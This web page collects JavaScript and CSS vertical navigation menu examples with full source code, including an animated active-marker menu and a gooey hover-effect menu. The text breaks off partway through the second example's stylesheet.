7+ JavaScript Vertical Menu Examples

This post contains a total of 7+ Hand-Picked JavaScript Vertical Menu Examples with Source Code. All these Vertical menus are made using JavaScript and Styled using CSS.

You can use the source code of these examples with credits to the original owner.

Related Posts

JavaScript Vertical Menu Examples

1. By Sheelah Brennan

Made by Sheelah Brennan. Animated JavaScript Vertical Menu with Active Item Indicator. Source

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title></title>
  <link href="https://fonts.googleapis.com/css?family=Oswald:600,700" rel="stylesheet"> 
<style>
body {
  font-size: 100%;
  background: #1d1d31;
  color: #fff;
}

.ul--reset {
  list-style-type: none;
  margin: 0;
  padding: 0;
}

.vertical-menu {
  font-family: "Oswald", sans-serif;
  text-transform: uppercase;
  width: 220px;
}

.vertical-menu-wrapper {
  max-width: 230px;
  margin: 50px auto;
  display: flex;
  position: relative;
}

.active-marker {
  transition: transform 0.4s;
  width: 5px;
  background-image: linear-gradient(90deg, #ff5e5e, #f54985);
  background-size: 100%;
  height: 30px;
  margin-left: 7px;
  transform: translateY(0px);
}

.vertical-menu-item {
  font-size: 1.1em;
  color: #fff;
  transition: all 0.4s;
  height: 41px;
  text-align: right;
}
.vertical-menu-item.is-active {
  font-size: 1.4em;
}

.link--inverse-menu {
  color: #fff;
  text-decoration: none;
}
.link--inverse-menu:visited {
  color: #fff;
}
.link--inverse-menu:hover, .link--inverse-menu:active {
  color: #d3d3d3;
}
</style>
</head>
<body>
  <div class='vertical-menu-wrapper'>
  <ul class="vertical-menu ul--reset">
    <li class="vertical-menu-item is-active">
      <a class="link--inverse-menu" data-vertical="1" href="">This is the Day</a>
    </li>
    <li class="vertical-menu-item">
      <a class="link--inverse-menu" data-vertical="2" href="">Hello World</a>
    </li>
    <li class="vertical-menu-item">
      <a class="link--inverse-menu" data-vertical="3" href="">Just Don't Forget</a>
    </li>
    <li class="vertical-menu-item">
      <a class="link--inverse-menu" data-vertical="4" href="">Us vs. Them</a>
    </li>
    <li class="vertical-menu-item">
      <a class="link--inverse-menu" data-vertical="5" href="">Flavor of the Month</a>
    </li>
    <li class="vertical-menu-item">
      <a class="link--inverse-menu" data-vertical="6" href="">Things We're Loving</a>
    </li>
  </ul>
  <i class='active-marker'>
  </div>
      <script>
const getItemOffset = item => {
  return item.offsetTop;
};

const moveMarker = offset => {
  const marker = document.querySelector('.active-marker');
  marker.style.transform = `translateY(${offset}px)`;

};

const toggleActive = e => {
  e.preventDefault();

  // Remove any existing active classes
  const links = document.querySelectorAll('.vertical-menu-item');
  links.forEach(link => link.classList.remove('is-active'));

  // Add class to active link
  const activeItem = e.target.parentElement;
  activeItem.classList.toggle('is-active');
  const offset = getItemOffset(activeItem);
  moveMarker(offset);
};

// Attach click event listener
const menu = document.querySelector('.vertical-menu');

menu.addEventListener('click', toggleActive);
    </script>
</body>
</html>

2. By Vincent Durand

Made by Vincent Durand. Vertical menu with gooey effect on hover. Source

<!DOCTYPE html>
<html lang="en" >
<head>
  <meta charset="UTF-8">
  <title></title>
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<style>
@import url("https://fonts.googleapis.com/css2?family=Open+Sans:[email protected]&display=swap");
body {
  background: #eaeef6;
  font-family: "Open Sans", sans-serif;
}

.navbar {
  position: fixed;
  top: 1rem;
  left: 1rem;
  background: #fff;
  border-radius: 10px;
  padding: 1rem 0;
  box-shadow: 0 0 40px rgba(0, 0, 0, 0.03);
  height: calc(100vh - 4rem);
}
.navbar__link {
  position: relative;
  display: flex;
  align-items: center;
  justify-content: center;
  height: 3.5rem;
  width: 5.5rem;
  color: #6a778e;
  transition: 250ms ease all;
}
.navbar__link span {
  position: absolute;
  left: 100%;
  transform: translate(-3rem);
  margin-left: 1rem;
  opacity: 0;
  pointer-events: none;
  color: #406ff3;
  background: #fff;
  padding: 0.75rem;
  transition: 250ms ease all;
  border-radius: 17.5px;
}
.navbar__link:hover {
  color: #fff;
}
.navbar:not(:hover) .navbar__link:focus span, .navbar__link:hover span {
  opacity: 1;
  transform: translate(0);
}
.navbar__menu {
  position: relative;
}
.navbar__item:last-child:before {
  content: "";
  position: absolute;
  opacity: 0;
  z-index: -1;
  top: 0;
  left: 1rem;
  width: 3.5rem;
  height: 3.5rem;
  background: #406ff3;
  border-radius: 17.5px;
  transition: 250ms cubic-bezier(1, 0.2, 0.1, 1.2) all;
}
.navbar__item:first-child:nth-last-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(1) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(1):last-child:hover:before, .navbar__item:first-child:nth-last-child(1) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(1):last-child:hover:before, .navbar__item:first-child:nth-last-child(1) ~ li:last-child:hover:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(2) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(2):last-child:hover:before, .navbar__item:first-child:nth-last-child(2) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(2):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(2) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(2):last-child:hover:before, .navbar__item:first-child:nth-last-child(2) ~ li:last-child:hover:before {
  top: 50%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(3) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(3):last-child:hover:before, .navbar__item:first-child:nth-last-child(3) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(3):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(3) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(3):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(3) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 33.3333333333%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(3):last-child:hover:before, .navbar__item:first-child:nth-last-child(3) ~ li:last-child:hover:before {
  top: 66.6666666667%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(4):last-child:hover:before, .navbar__item:first-child:nth-last-child(4) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(4):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(4):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 25%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(4):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(4) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 50%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(4):last-child:hover:before, .navbar__item:first-child:nth-last-child(4) ~ li:last-child:hover:before {
  top: 75%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(5):last-child:hover:before, .navbar__item:first-child:nth-last-child(5) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(5):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(5):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 20%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(5):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 40%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(5):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(5) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 60%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(5):last-child:hover:before, .navbar__item:first-child:nth-last-child(5) ~ li:last-child:hover:before {
  top: 80%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(6):last-child:hover:before, .navbar__item:first-child:nth-last-child(6) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(6):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(6):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 16.6666666667%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(6):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 33.3333333333%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(6):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 50%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(6):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(6) ~ li:nth-child(5):hover ~ li:last-child:before {
  top: 66.6666666667%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(6):last-child:hover:before, .navbar__item:first-child:nth-last-child(6) ~ li:last-child:hover:before {
  top: 83.3333333333%;
  animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(7):last-child:hover:before, .navbar__item:first-child:nth-last-child(7) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(7):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 14.2857142857%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 28.5714285714%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 42.8571428571%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(5):hover ~ li:last-child:before {
  top: 57.1428571429%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(7) ~ li:nth-child(6):hover ~ li:last-child:before {
  top: 71.4285714286%;
  animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(7):last-child:hover:before, .navbar__item:first-child:nth-last-child(7) ~ li:last-child:hover:before {
  top: 85.7142857143%;
  animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(8):last-child:hover:before, .navbar__item:first-child:nth-last-child(8) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(8):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 12.5%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 25%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 37.5%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(5):hover ~ li:last-child:before {
  top: 50%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(6):hover ~ li:last-child:before {
  top: 62.5%;
  animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(8) ~ li:nth-child(7):hover ~ li:last-child:before {
  top: 75%;
  animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(8):last-child:hover:before, .navbar__item:first-child:nth-last-child(8) ~ li:last-child:hover:before {
  top: 87.5%;
  animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(9):last-child:hover:before, .navbar__item:first-child:nth-last-child(9) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(9):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 11.1111111111%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 22.2222222222%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 33.3333333333%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(5):hover ~ li:last-child:before {
  top: 44.4444444444%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(6):hover ~ li:last-child:before {
  top: 55.5555555556%;
  animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(7):hover ~ li:last-child:before {
  top: 66.6666666667%;
  animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):nth-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(9) ~ li:nth-child(8):hover ~ li:last-child:before {
  top: 77.7777777778%;
  animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(9):last-child:hover:before, .navbar__item:first-child:nth-last-child(9) ~ li:last-child:hover:before {
  top: 88.8888888889%;
  animation: gooeyEffect-9 250ms 1;
}
@keyframes gooeyEffect-9 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(10):last-child:hover:before, .navbar__item:first-child:nth-last-child(10) ~ li:last-child:hover:before {
  opacity: 1;
}
.navbar__item:first-child:nth-last-child(10):nth-child(1):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(1):hover ~ li:last-child:before {
  top: 0%;
  animation: gooeyEffect-1 250ms 1;
}
@keyframes gooeyEffect-1 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(2):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(2):hover ~ li:last-child:before {
  top: 10%;
  animation: gooeyEffect-2 250ms 1;
}
@keyframes gooeyEffect-2 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(3):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(3):hover ~ li:last-child:before {
  top: 20%;
  animation: gooeyEffect-3 250ms 1;
}
@keyframes gooeyEffect-3 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(4):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(4):hover ~ li:last-child:before {
  top: 30%;
  animation: gooeyEffect-4 250ms 1;
}
@keyframes gooeyEffect-4 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(5):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(5):hover ~ li:last-child:before {
  top: 40%;
  animation: gooeyEffect-5 250ms 1;
}
@keyframes gooeyEffect-5 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(6):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(6):hover ~ li:last-child:before {
  top: 50%;
  animation: gooeyEffect-6 250ms 1;
}
@keyframes gooeyEffect-6 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(7):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(7):hover ~ li:last-child:before {
  top: 60%;
  animation: gooeyEffect-7 250ms 1;
}
@keyframes gooeyEffect-7 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(8):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(8):hover ~ li:last-child:before {
  top: 70%;
  animation: gooeyEffect-8 250ms 1;
}
@keyframes gooeyEffect-8 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):nth-child(9):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(10) ~ li:nth-child(9):hover ~ li:last-child:before {
  top: 80%;
  animation: gooeyEffect-9 250ms 1;
}
@keyframes gooeyEffect-9 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(10):last-child:hover:before, .navbar__item:first-child:nth-last-child(10) ~ li:last-child:hover:before {
  top: 90%;
  animation: gooeyEffect-10 250ms 1;
}
@keyframes gooeyEffect-10 {
  0% {
    transform: scale(1, 1);
  }
  50% {
    transform: scale(0.5, 1.5);
  }
  100% {
    transform: scale(1, 1);
  }
}
.navbar__item:first-child:nth-last-child(11):hover ~ li:last-child:before, .navbar__item:first-child:nth-last-child(11) ~ li:hover ~ li:last-child:before {
  opacity: 1;
}
